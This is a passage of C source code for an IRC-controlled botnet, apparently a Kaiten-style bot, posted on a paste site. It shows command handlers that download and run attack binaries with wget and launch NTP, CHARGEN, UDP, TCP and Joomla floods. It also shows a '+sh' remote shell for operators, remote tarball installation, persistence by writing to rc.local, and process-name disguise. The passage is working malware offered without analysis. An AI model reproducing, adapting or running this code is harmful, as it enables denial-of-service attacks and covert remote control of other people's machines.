  652. snprintf(system_str, 256, "wget %s/32/.a", argv[1]);
  653. system(system_str);
  654. system ("chmod 777 .a");
  655. }
  656. if(open(".l",O_EXCL) == -1)
  657. {
  658. char system_sts[256];
  659. snprintf(system_sts, 256, "wget %s/32/.l", argv[1]);
  660. system(system_sts);
  661. }
  662. if(open(".s",O_EXCL) == -1){
  663. char system_stt[256];
  664. snprintf(system_stt, 256, "wget %s/32/.s", argv[1]);
  665. system(system_stt);
  666. system ("chmod 777 .s");
  667. }
  668. if(open(".u",O_EXCL) == -1){
  669. char system_stu[256];
  670. snprintf(system_stu, 256, "wget %s/32/.u", argv[1]);
  671. system(system_stu);
  672. }
  673. if(open(".st",O_EXCL) == -1){
  674. char system_stv[256];
  675. snprintf(system_stv, 256, "wget %s/32/.st", argv[1]);
  676. system(system_stv);
  677. system ("chmod 777 .st");
  678. }
  679. if(open(".su",O_EXCL) == -1){
  680. char system_stw[256];
  681. snprintf(system_stw, 256, "wget %s/32/.su", argv[1]);
  682. system(system_stw);
  683. system ("chmod 777 .su");
  684. }
  685. if(open(".c",O_EXCL) == -1){
  686. char system_stx[256];
  687. snprintf(system_stx, 256, "wget %s/32/.c", argv[1]);
  688. system(system_stx);
  689. system ("chmod 777 .c");
  690. }
  691. if(open(".e",O_EXCL) == -1){
  692. char system_sty[256];
  693. snprintf(system_sty, 256, "wget %s/32/.e", argv[1]);
  694. system(system_sty);
  695. system ("chmod 777 .e");
  696. }
  697. }
  698. Send(sock, "NOTICE %s :All files have been uploaded from %s., or where already uploaded.\n", sender, argv[1]);
  699. } else {
  700. Send(sock,"NOTICE %s :Your nickname is not on this script.\n",sender);
  701. }
  702. }
  703. void stop(int sock, char *sender, int argc, char **argv){
  704. if (strcasecmp(users1,sender) == 0 || strcasecmp(users2,sender) == 0 || strcasecmp(users3,sender) == 0 || strcasecmp(users4,sender) == 0 || strcasecmp(users5,sender) == 0 || strcasecmp(users6,sender) == 0 || strcasecmp(users7,sender) == 0 || strcasecmp(users8,sender) == 0 || strcasecmp(users9,sender) == 0 || strcasecmp(users10,sender) == 0 || strcasecmp(adminuser1,sender) == 0){
  705. if (disabled == 1) {
  706. Send(sock,"NOTICE %s :My commands are disabled!\n",sender);
  707. return;
  708. }
  709. if (mfork(sender) != 0) return;
  710. if(argc == 0){
  711. Send(sock,"NOTICE %s :All attacks killed.\n",sender);
  712. system ("killall -9 .s");
  713. system ("killall -9 .a");
  714. system ("killall -9 .st");
  715. system ("killall -9 .su");
  716. system ("killall -9 .c");
  717. system ("killall -9 .e");
  718. return;
  719. }
  720. if(strcmp(argv[1], "help" ) == 0 ){
  721. Send(sock,"NOTICE %s :+stop = Kills all commands and attacks.\n",sender);sleep(2);
  722. Send(sock,"NOTICE %s :+stop udp = Kills all UDP attacks.\n",sender);sleep(2);
  723. Send(sock,"NOTICE %s :+stop ntp = Kills all NTP attacks.\n",sender);sleep(2);
  724. Send(sock,"NOTICE %s :+stop chargen = Kills all CHARGEN attacks.\n",sender);sleep(2);
  725. Send(sock,"NOTICE %s :+stop joomla = Kills all JOOMLA attacks.\n",sender);sleep(2);
  726. Send(sock,"NOTICE %s :+stop tcp = Kills all TCP attacks.\n",sender);sleep(2);
  727. Send(sock,"NOTICE %s :+stop std = Kills all AMP attacks.\n",sender);sleep(2);
  728. Send(sock,"NOTICE %s :+stop sudp = Kills all AMP attacks.\n",sender);sleep(2);
  729. Send(sock,"NOTICE %s :+stop commands = Kills any running command.\n",sender);sleep(2);
  730. return;
  731. }
  732. if(strcmp(argv[1], "udp" ) == 0 ){
  733. Send(sock,"NOTICE %s :UDP cannot be killed.\n",sender);
  734. return;
  735. }
  736. if(strcmp(argv[1], "joomla" ) == 0 ){
  737. system ("killall -9 .joomla03");
  738. Send(sock,"NOTICE %s :All JOOMLA attacks killed.\n",sender);
  739. return;
  740. }
  741. if(strcmp(argv[1], "tcp" ) == 0 ){
  742. system ("killall -9 .t");
  743. Send(sock,"NOTICE %s :All TCP attacks killed.\n",sender);
  744. return;
  745. }
  746. if(strcmp(argv[1], "sudp" ) == 0 ){
  747. system ("killall -9 .su");
  748. Send(sock,"NOTICE %s :All SUDP attacks killed.\n",sender);
  749. return;
  750. }
  751. if(strcmp(argv[1], "std" ) == 0 ){
  752. system ("killall -9 .st");
  753. Send(sock,"NOTICE %s :All STD attacks killed.\n",sender);
  754. return;
  755. }
  756. if(strcmp(argv[1], "ntp" ) == 0 ){
  757. system ("killall -9 .n");
  758. Send(sock,"NOTICE %s :All NTP attacks killed.\n",sender);
  759. return;
  760. }
  761. if(strcmp(argv[1], "chargen" ) == 0 ){
  762. system ("killall -9 .chargen");
  763. Send(sock,"NOTICE %s :All CHARGEN attacks killed.\n",sender);
  764. return;
  765. }
  766. if(strcmp(argv[1], "commands") == 0 ){
  767. unsigned long i;
  768. for (i=0;i<numpids;i++) {
  769. if (pids[i] != 0 && pids[i] != getpid()) {
  770. if (sender) Send(sock,"NOTICE %s :Commands have been stopped.\n",sender,pids[i]);
  771. kill(pids[i],9);
  772. }
  773. }
  774. }
  775. } else {
  776. Send(sock,"NOTICE %s :Your nickname is not on this script.\n",sender);
  777. }
  778. }
  779.  
  780. void customkill(int sock, char *sender, int argc, char **argv){
  781. if (strcasecmp(users1,sender) == 0 || strcasecmp(users2,sender) == 0 || strcasecmp(users3,sender) == 0 || strcasecmp(users4,sender) == 0 || strcasecmp(users5,sender) == 0 || strcasecmp(users6,sender) == 0 || strcasecmp(users7,sender) == 0 || strcasecmp(users8,sender) == 0 || strcasecmp(users9,sender) == 0 || strcasecmp(users10,sender) == 0 || strcasecmp(adminuser1,sender) == 0){
  782. if (HSCommand == 1) {
  783. Send(sock,"NOTICE %s :You have tried to enter a high security command without gaining access. Please gain access!\n",sender);
  784. return;
  785. }
  786. char system_stz[256];
  787. snprintf(system_stz, 256, "killall -9 %s",argv[1]);
  788. system(system_stz);
  789. } else {
  790. Send(sock,"NOTICE %s :Your nickname is not on this script.\n",sender);
  791. }
  792. }
  793.  
  794. void killsec(int sock, char *sender, int argc, char **argv) {
  795. if (strcasecmp(users1,sender) == 0 || strcasecmp(users2,sender) == 0 || strcasecmp(users3,sender) == 0 || strcasecmp(users4,sender) == 0 || strcasecmp(users5,sender) == 0 || strcasecmp(users6,sender) == 0 || strcasecmp(users7,sender) == 0 || strcasecmp(users8,sender) == 0 || strcasecmp(users9,sender) == 0 || strcasecmp(users10,sender) == 0 || strcasecmp(adminuser1,sender) == 0){
  796. if (HSCommand == 1) {
  797. Send(sock,"NOTICE %s :You have tried to enter a high security command without gaining access. Please gain access!\n",sender);
  798. return;
  799. }
  800. kill(0,9);
  801. } else {
  802. Send(sock,"NOTICE %s :Your nickname is not on this script.\n",sender);
  803. }
  804. }
  805. void test(int sock, char *sender, int argc, char **argv) {
  806. if (strcasecmp(users1,sender) == 0 || strcasecmp(users2,sender) == 0 || strcasecmp(users3,sender) == 0 || strcasecmp(users4,sender) == 0 || strcasecmp(users5,sender) == 0 || strcasecmp(users6,sender) == 0 || strcasecmp(users7,sender) == 0 || strcasecmp(users8,sender) == 0 || strcasecmp(users9,sender) == 0 || strcasecmp(users10,sender) == 0 || strcasecmp(adminuser1,sender) == 0){
  807. Send(sock,"NOTICE %s :Nickname Correct.\n",sender);
  808. } else {
  809. Send(sock,"NOTICE %s :Your nickname is not on this script.\n",sender);
  810. }
  811. }
  812.  
  813. void nicksa(int sock, char *sender, int argc, char **argv){
  814. if (strcasecmp(users1,sender) == 0 || strcasecmp(users2,sender) == 0 || strcasecmp(users3,sender) == 0 || strcasecmp(users4,sender) == 0 || strcasecmp(users5,sender) == 0 || strcasecmp(users6,sender) == 0 || strcasecmp(users7,sender) == 0 || strcasecmp(users8,sender) == 0 || strcasecmp(users9,sender) == 0 || strcasecmp(users10,sender) == 0 || strcasecmp(adminuser1,sender) == 0){
  815. if (HSCommand == 1) {
  816. Send(sock,"NOTICE %s :You have tried to enter a high security command without gaining access. Please gain access!\n",sender);
  817. return;
  818. }
  819. if(strcmp(argv[1], "help" ) == 0 ){
  820. Send(sock,"NOTICE %s :+nick user(1-10) <user> = Replaces or adds a user to the slot.\n",sender);sleep(2);
  821. Send(sock,"NOTICE %s :+nick delete <user> = Deletes a user.\n",sender);sleep(2);
  822. Send(sock,"NOTICE %s :+nick show = Shows all users.\n",sender);sleep(2);
  823. Send(sock,"NOTICE %s :+nick admin <username> = Create an admin user which can't be deleted or changed.\n",sender);sleep(2);
  824. Send(sock,"NOTICE %s :+nick noadmin = Destroys the ability to create an admin user.\n",sender);sleep(2);
  825. Send(sock,"NOTICE %s :Only one admin user can be made, so don't mess up!\n",sender);sleep(2);
  826. }
  827. if(strcmp(argv[1], "delete" ) == 0 ){
  828. if(strcmp(argv[2], "user1" ) == 0 ){
  829. Send(sock,"NOTICE %s :User 1 Deleted.\n",sender);
  830. users1 = "!Deleted!";
  831. }
  832. if(strcmp(argv[2], "user2" ) == 0 ){
  833. Send(sock,"NOTICE %s :User 2 Deleted.\n",sender);
  834. users2 = "!Deleted!";
  835. }
  836. if(strcmp(argv[2], "user3" ) == 0 ){
  837. Send(sock,"NOTICE %s :User 3 Deleted.\n",sender);
  838. users3 = "!Deleted!";
  839. }
  840. if(strcmp(argv[2], "user4" ) == 0 ){
  841. Send(sock,"NOTICE %s :User 4 Deleted.\n",sender);
  842. users4 = "!Deleted!";
  843. }
  844. if(strcmp(argv[2], "user5" ) == 0 ){
  845. Send(sock,"NOTICE %s :User 5 Deleted.\n",sender);
  846. users5 = "!Deleted!";
  847. }
  848. if(strcmp(argv[2], "user6" ) == 0 ){
  849. Send(sock,"NOTICE %s :User 6 Deleted.\n",sender);
  850. users6 = "!Deleted!";
  851. }
  852. if(strcmp(argv[2], "user7" ) == 0 ){
  853. Send(sock,"NOTICE %s :User 7 Deleted.\n",sender);
  854. users7 = "!Deleted!";
  855. }
  856. if(strcmp(argv[2], "user8" ) == 0 ){
  857. Send(sock,"NOTICE %s :User 8 Deleted.\n",sender);
  858. users8 = "!Deleted!";
  859. }
  860. if(strcmp(argv[2], "user9" ) == 0 ){
  861. Send(sock,"NOTICE %s :User 9 Deleted.\n",sender);
  862. users9 = "!Deleted!";
  863. }
  864. if(strcmp(argv[2], "user10" ) == 0 ){
  865. Send(sock,"NOTICE %s :User 10 Deleted.\n",sender);
  866. users10 = "!Deleted!";
  867. }
  868. }
  869. if(strcmp(argv[1], "user1" ) == 0 ){
  870. users1 = strdup(argv[2]);
  871. Send(sock,"NOTICE %s :User 1 has been changed to %s.\n",sender,users1);
  872. }
  873. if(strcmp(argv[1], "user2" ) == 0 ){
  874. users2 = strdup(argv[2]);
  875. Send(sock,"NOTICE %s :User 2 has been changed to %s.\n",sender,users2);
  876. }
  877. if(strcmp(argv[1], "user3" ) == 0 ){
  878. users3 = strdup(argv[2]);
  879. Send(sock,"NOTICE %s :User 3 has been changed to %s.\n",sender,users3);
  880. }
  881. if(strcmp(argv[1], "user4" ) == 0 ){
  882. users4 = strdup(argv[2]);
  883. Send(sock,"NOTICE %s :User 4 has been changed to %s.\n",sender,users4);
  884. }
  885. if(strcmp(argv[1], "user5" ) == 0 ){
  886. users5 = strdup(argv[2]);
  887. Send(sock,"NOTICE %s :User 5 has been changed to %s.\n",sender,users5);
  888. }
  889. if(strcmp(argv[1], "user6" ) == 0 ){
  890. users6 = strdup(argv[2]);
  891. Send(sock,"NOTICE %s :User 6 has been changed to %s.\n",sender,users6);
  892. }
  893. if(strcmp(argv[1], "user7" ) == 0 ){
  894. users7 = strdup(argv[2]);
  895. Send(sock,"NOTICE %s :User 7 has been changed to %s.\n",sender,users7);
  896. }
  897. if(strcmp(argv[1], "user8" ) == 0 ){
  898. users8 = strdup(argv[2]);
  899. Send(sock,"NOTICE %s :User 8 has been changed to %s.\n",sender,users8);
  900. }
  901. if(strcmp(argv[1], "user9" ) == 0 ){
  902. users9 = strdup(argv[2]);
  903. Send(sock,"NOTICE %s :User 9 has been changed to %s.\n",sender,users9);
  904. }
  905. if(strcmp(argv[1], "user10" ) == 0 ){
  906. users10 = strdup(argv[2]);
  907. Send(sock,"NOTICE %s :User 10 has been changed to %s.\n",sender,users10);
  908. }
  909. if(strcmp(argv[1], "show" ) == 0 ){
  910. Send(sock,"NOTICE %s :User 1 is %s\n",sender,users1);sleep(2);
  911. Send(sock,"NOTICE %s :User 2 is %s\n",sender,users2);sleep(2);
  912. Send(sock,"NOTICE %s :User 3 is %s\n",sender,users3);sleep(2);
  913. Send(sock,"NOTICE %s :User 4 is %s\n",sender,users4);sleep(2);
  914. Send(sock,"NOTICE %s :User 5 is %s\n",sender,users5);sleep(2);
  915. Send(sock,"NOTICE %s :User 6 is %s\n",sender,users6);sleep(2);
  916. Send(sock,"NOTICE %s :User 7 is %s\n",sender,users7);sleep(2);
  917. Send(sock,"NOTICE %s :User 8 is %s\n",sender,users8);sleep(2);
  918. Send(sock,"NOTICE %s :User 9 is %s\n",sender,users9);sleep(2);
  919. Send(sock,"NOTICE %s :User 10 is %s\n",sender,users10);sleep(2);
  920. }
  921. if(strcmp(argv[1], "admin" ) == 0 ){
  922. if(adminusercount == 1){
  923. Send(sock,"NOTICE %s :Admin user has already been made.\n",sender);
  924. }
  925. if(adminusercount == 2){
  926. Send(sock,"NOTICE %s :The option to make an admin user has been canceled.\n",sender);
  927. }
  928. if(adminusercount == 0){
  929. adminuser1 = strdup(argv[2]);
  930. adminusercount = 1;
  931. Send(sock,"NOTICE %s :Admin user %s made.\n",sender,adminuser1);
  932. }
  933. }
  934. if(strcmp(argv[1], "noadmin" ) == 0 ){
  935. if(adminusercount == 1){
  936. Send(sock,"NOTICE %s :Admin user has already been made.\n",sender);
  937. }
  938. if(adminusercount == 2){
  939. Send(sock,"NOTICE %s :Admin user has already been canceled.\n",sender);
  940. }
  941. if(adminusercount == 0){
  942. adminusercount = 2;
  943. Send(sock,"NOTICE %s :The option to make an admin user has been canceled.\n",sender);
  944. }
  945. }
  946. } else {
  947. Send(sock,"NOTICE %s :Your nickname is not on this script.\n",sender);
  948. }
  949. }
  950. void installa(int sock, char *sender, int argc, char **argv){
  951. if (strcasecmp(users1,sender) == 0 || strcasecmp(users2,sender) == 0 || strcasecmp(users3,sender) == 0 || strcasecmp(users4,sender) == 0 || strcasecmp(users5,sender) == 0 || strcasecmp(users6,sender) == 0 || strcasecmp(users7,sender) == 0 || strcasecmp(users8,sender) == 0 || strcasecmp(users9,sender) == 0 || strcasecmp(users10,sender) == 0 || strcasecmp(adminuser1,sender) == 0){
  952. if (HSCommand == 1) {
  953. Send(sock,"NOTICE %s :You have tried to enter a high security command without gaining access. Please gain access!\n",sender);
  954. return;
  955. }
  956. if(strcmp(argv[1], "help" ) == 0 ){
  957. Send(sock,"NOTICE %s :Link a tar file, then enter the filename of the tar file.\n",sender); sleep(2);
  958. Send(sock,"NOTICE %s :Example: +install 1.1.1.1/xf.tar xf.tar\n",sender);
  959. Send(sock,"NOTICE %s :Make sure to have the move script in there!",sender);
  960. return;
  961. }
  962. if(argc != 2){
  963. Send(sock,"NOTICE %s :+install <link to tar> <filename>\n",sender);
  964. return;
  965. }
  966. char system_sta[256];
  967. snprintf(system_sta, 256, "wget %s",argv[2]);
  968. Send(sock,"NOTICE %s :Please wait 60 seconds.\n",sender);
  969. system(system_sta); sleep(60);
  970. char system_stb[256];
  971. snprintf(system_stb, 256, "tar xf %s",argv[3]);
  972. system(system_stb);
  973. system("perl move");
  974. Send(sock,"NOTICE %s :Successfully moved all files to the /tmp directory\n",sender);
  975. } else {
  976. Send(sock,"NOTICE %s :Your nickname is not on this script.\n",sender);
  977. }
  978. }
  979. void nickca(int sock, char *sender, int argc, char **argv) {
  980. if (argc != 1) {
  981. Send(sock,"NOTICE %s :+nickc <nick>\n",sender);
  982. return;
  983. }
  984. if (strlen(argv[1]) >= 10) {
  985. Send(sock,"NOTICE %s :Nick cannot be larger than 9 characters.\n",sender);
  986. return;
  987. }
  988. nick=strdup(argv[1]);
  989. Send(sock,"NICK %s\n",argv[1]);
  990. }
  991. struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
  992. { "+ntp" , ntp },
  993. { "+chargen" , chargen },
  994. { "+udp" , udp },
  995. { "+joomla" , joomla },
  996. { "+tcp" , tcp },
  997. { "+sudp" , sudp },
  998. { "+std" , std },
  999. { "+nickc" , nickca },
  1000. { "+filecheck" , filecheck },
  1001. { "+nick" , nicksa },
  1002. { "+install" , installa },
  1003. { "+exec" , exec },
  1004. { "+stop" , stop },
  1005. { "+kill" , customkill },
  1006. { "+test" , test },
  1007. { "+logout" , logout },
  1008. { "+login" , login },
  1009. { "+killsec" , killsec },
  1010. { "+help" , help },
  1011. { "-hsc" , hsc },
  1012. { (char *)0, (void (*)(int,char *,int,char **))0 } };
  1013.  
  1014. void _PRIVMSG(int sock, char *sender, char *str) {
  1015. int i;
  1016. char *to, *message;
  1017. for (i=0;i<strlen(str) && str[i] != ' ';i++);
  1018. str[i]=0;
  1019. to=str;
  1020. message=str+i+2;
  1021. for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  1022. sender[i]=0;
  1023. if (*message == '>' && !strcasecmp(to,chan)) {
  1024. char *params[12], name[1024]={0};
  1025. int num_params=0, m;
  1026. message++;
  1027. for (i=0;i<strlen(message) && message[i] != ' ';i++);
  1028. message[i]=0;
  1029. if (strwildmatch(message,nick)) return;
  1030. message+=i+1;
  1031. if (!strncmp(message,"+irc ",5)) {
  1032. if (strcasecmp(users1,sender) == 0 || strcasecmp(users2,sender) == 0 || strcasecmp(users3,sender) == 0 || strcasecmp(users4,sender) == 0 || strcasecmp(users5,sender) == 0 || strcasecmp(users6,sender) == 0 || strcasecmp(users7,sender) == 0 || strcasecmp(users8,sender) == 0 || strcasecmp(users9,sender) == 0 || strcasecmp(users10,sender) == 0 || strcasecmp(adminuser1,sender) == 0){
  1033. if (HSCommand == 1) {
  1034. Send(sock,"NOTICE %s :You have tried to enter a high security command without gaining access. Please gain access!\n",sender);
  1035. return;
  1036. }
  1037. Send(sock,"%s\n",message+4);
  1038. } else {
  1039. Send(sock,"NOTICE %s :Your nickname is not on this script.\n",sender);
  1040. }
  1041. }
  1042. if (!strncmp(message,"+sh ",4)) {
  1043. if (strcasecmp(users1,sender) == 0 || strcasecmp(users2,sender) == 0 || strcasecmp(users3,sender) == 0 || strcasecmp(users4,sender) == 0 || strcasecmp(users5,sender) == 0 || strcasecmp(users6,sender) == 0 || strcasecmp(users7,sender) == 0 || strcasecmp(users8,sender) == 0 || strcasecmp(users9,sender) == 0 || strcasecmp(users10,sender) == 0 || strcasecmp(adminuser1,sender) == 0){
  1044. if (HSCommand == 1) {
  1045. Send(sock,"NOTICE %s :You have tried to enter a high security command without gaining access. Please gain access!\n",sender);
  1046. return;
  1047. }
  1048. char buf[1024];
  1049. FILE *command;
  1050. if (mfork(sender) != 0) return;
  1051. memset(buf,0,1024);
  1052. sprintf(buf,"export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;%s",message+3);
  1053. command=popen(buf,"r");
  1054. while(!feof(command)) {
  1055. memset(buf,0,1024);
  1056. fgets(buf,1024,command);
  1057. Send(sock,"NOTICE %s :%s\n",sender,buf);
  1058. sleep(1);
  1059. }
  1060. pclose(command);
  1061. exit(0);
  1062. } else {
  1063. Send(sock,"NOTICE %s :Your nickname is not on this script.\n",sender);
  1064. }
  1065. }
  1066. m=strlen(message);
  1067. for (i=0;i<m;i++) {
  1068. if (*message == ' ' || *message == 0) break;
  1069. name[i]=*message;
  1070. message++;
  1071. }
  1072. for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
  1073. num_params++;
  1074. if (num_params > 10) num_params=10;
  1075. params[0]=name;
  1076. params[num_params+1]="\0";
  1077. m=1;
  1078. while (*message != 0) {
  1079. message++;
  1080. if (m >= num_params) break;
  1081. for (i=0;i<strlen(message) && message[i] != ' ';i++);
  1082. params[m]=(char*)malloc(i+1);
  1083. strncpy(params[m],message,i);
  1084. params[m][i]=0;
  1085. m++;
  1086. message+=i;
  1087. }
  1088. for (m=0; flooders[m].cmd != (char *)0; m++) {
  1089. if (!strcasecmp(flooders[m].cmd,name)) {
  1090. flooders[m].func(sock,sender,num_params-1,params);
  1091. for (i=1;i<num_params;i++) free(params[i]);
  1092. return;
  1093. }
  1094. }
  1095. }
  1096. }
  1097. void _376(int sock, char *sender, char *str) {
  1098. Send(sock,"MODE %s +pixB\n",nick);
  1099. Send(sock,"JOIN %s :%s\n",chan,key);
  1100. Send(sock,"WHO %s\n",nick);
  1101. }
  1102. void _PING(int sock, char *sender, char *str) {
  1103. Send(sock,"PONG %s\n",str);
  1104. }
  1105. void _352(int sock, char *sender, char *str) {
  1106. int i,d;
  1107. char *msg=str;
  1108. struct hostent *hostm;
  1109. unsigned long m;
  1110. for (i=0,d=0;d<5;d++) {
  1111. for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  1112. if (i == strlen(str)) return;
  1113. }
  1114. for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  1115. msg[i]=0;
  1116. if (!strcasecmp(msg,nick) && !spoofsm) {
  1117. msg=str;
  1118. for (i=0,d=0;d<3;d++) {
  1119. for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  1120. if (i == strlen(str)) return;
  1121. }
  1122. for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  1123. msg[i]=0;
  1124. if ((m = inet_addr(msg)) == -1) {
  1125. if ((hostm=gethostbyname(msg)) == NULL) {
  1126. Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan);
  1127. return;
  1128. }
  1129. memcpy((char*)&m, hostm->h_addr, hostm->h_length);
  1130. }
  1131. ((char*)&spoofs)[3]=((char*)&m)[0];
  1132. ((char*)&spoofs)[2]=((char*)&m)[1];
  1133. ((char*)&spoofs)[1]=((char*)&m)[2];
  1134. ((char*)&spoofs)[0]=0;
  1135. spoofsm=256;
  1136. }
  1137. }
  1138. void _433(int sock, char *sender, char *str) {
  1139. free(nick);
  1140. char tempnick[50];
  1141. char *strpref = PREFIX;
  1142. char *genname = makestring();
  1143. strcpy(tempnick,strpref);
  1144. strcat(tempnick,genname);
  1145. nick=tempnick;
  1146. }
  1147. void _NICK(int sock, char *sender, char *str) {
  1148. int i;
  1149. for (i=0;i<strlen(sender) && sender[i] != '~';i++);
  1150. sender[i]=0;
  1151. if (!strcasecmp(sender,nick)) {
  1152. if (*str == ':') str++;
  1153. if (nick) free(nick);
  1154. nick=strdup(str);
  1155. }
  1156. }
  1157. struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
  1158. { "352", _352 },
  1159. { "376", _376 },
  1160. { "433", _433 },
  1161. { "422", _376 },
  1162. { "PRIVMSG", _PRIVMSG },
  1163. { "PING", _PING },
  1164. { "NICK", _NICK },
  1165. { (char *)0, (void (*)(int,char *,char *))0 } };
  1166. void con() {
  1167. struct sockaddr_in srv;
  1168. unsigned long ipaddr,start;
  1169. int flag;
  1170. struct hostent *hp;
  1171. start:
  1172. sock=-1;
  1173. flag=1;
  1174. if (changeservers == 0) server=servers[rand()%numservers];
  1175. changeservers=0;
  1176. while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
  1177. if (inet_addr(server) == 0 || inet_addr(server) == -1) {
  1178. if ((hp = gethostbyname(server)) == NULL) {
  1179. server=NULL;
  1180. close(sock);
  1181. goto start;
  1182. }
  1183. bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
  1184. }
  1185. else srv.sin_addr.s_addr=inet_addr(server);
  1186. srv.sin_family = AF_INET;
  1187. srv.sin_port = htons(PORT);
  1188. ioctl(sock,FIONBIO,&flag);
  1189. start=time(NULL);
  1190. while(time(NULL)-start < 10) {
  1191. errno=0;
  1192. if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
  1193. setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
  1194. setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
  1195. setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
  1196. return;
  1197. }
  1198. if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
  1199. sleep(1);
  1200. }
  1201. server=NULL;
  1202. close(sock);
  1203. goto start;
  1204. }
  1205. int main(int argc, char *argv[]) {
  1206. int on,i;
  1207. char cwd[256],*str;
  1208. FILE *file;
  1209. #ifdef STARTUP
  1210. str="/etc/rc.d/rc.local";
  1211. file=fopen(str,"r");
  1212. if (file == NULL) {
  1213. str="/etc/rc.conf";
  1214. file=fopen(str,"r");
  1215. }
  1216. if (file != NULL) {
  1217. char outfile[256], buf[1024];
  1218. int i=strlen(argv[0]), d=0;
  1219. getcwd(cwd,256);
  1220. if (strcmp(cwd,"/")) {
  1221. while(argv[0][i] != '/') i--;
  1222. sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
  1223. while(!feof(file)) {
  1224. fgets(buf,1024,file);
  1225. if (!strcasecmp(buf,outfile)) d++;
  1226. }
  1227. if (d == 0) {
  1228. FILE *out;
  1229. fclose(file);
  1230. out=fopen(str,"a");
  1231. if (out != NULL) {
  1232. fputs(outfile,out);
  1233. fclose(out);
  1234. }
  1235. }
  1236. else fclose(file);
  1237. }
  1238. else fclose(file);
  1239. }
  1240. #endif
  1241. if (fork()) exit(0);
  1242. #ifdef FAKENAME
  1243. strncpy(argv[0],FAKENAME,strlen(argv[0]));
  1244. for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
  1245. #endif
  1246. srand((time(NULL) ^ getpid()) + getppid());
  1247. char tempnick[50];
  1248. char *strpref = PREFIX;
  1249. char *genname = makestring();
  1250.  
  1251. strcpy(tempnick,strpref);
  1252. strcat(tempnick,genname);
  1253.  
  1254. nick=tempnick;
  1255. ident=makestring();
  1256. user=makestring();
  1257. chan=CHAN;
  1258. key=KEY;
  1259. server=NULL;
  1260. sa:
  1261. #ifdef IDENT
  1262. for (i=0;i<numpids;i++) {
  1263. if (pids[i] != 0 && pids[i] != getpid()) {
  1264. kill(pids[i],9);
  1265. waitpid(pids[i],NULL,WNOHANG);
  1266. }
  1267. }
  1268. pids=NULL;
  1269. numpids=0;
  1270. identd();
  1271. #endif
  1272.  
  1273. con();
  1274. Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user);
  1275. while(1) {
  1276. unsigned long i;
  1277. fd_set n;
  1278. struct timeval tv;
  1279. FD_ZERO(&n);
  1280. FD_SET(sock,&n);
  1281. tv.tv_sec=60*20;
  1282. tv.tv_usec=0;
  1283. if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
  1284. for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
  1285. unsigned int *newpids,on;
  1286. for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
  1287. pids[on-1]=0;
  1288. numpids--;
  1289. newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  1290. for (on=0;on<numpids;on++) newpids[on]=pids[on];
  1291. free(pids);
  1292. pids=newpids;
  1293. }
  1294. if (FD_ISSET(sock,&n)) {
  1295. char buf[4096], *str;
  1296. int i;
  1297. if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
  1298. buf[i]=0;
  1299. str=strtok(buf,"\n");
  1300. while(str && *str) {
  1301. char name[1024], sender[1024];
  1302. filter(str);
  1303. if (*str == ':') {
  1304. for (i=0;i<strlen(str) && str[i] != ' ';i++);
  1305. str[i]=0;
  1306. strcpy(sender,str+1);
  1307. strcpy(str,str+i+1);
  1308. }
  1309. else strcpy(sender,"*");
  1310. for (i=0;i<strlen(str) && str[i] != ' ';i++);
  1311. str[i]=0;
  1312. strcpy(name,str);
  1313. strcpy(str,str+i+1);
  1314. for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
  1315. if (!strcasecmp(name,"ERROR")) goto sa;
  1316. str=strtok((char*)NULL,"\n");
  1317. }
  1318. }
  1319. }
  1320. return 0;
  1321. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement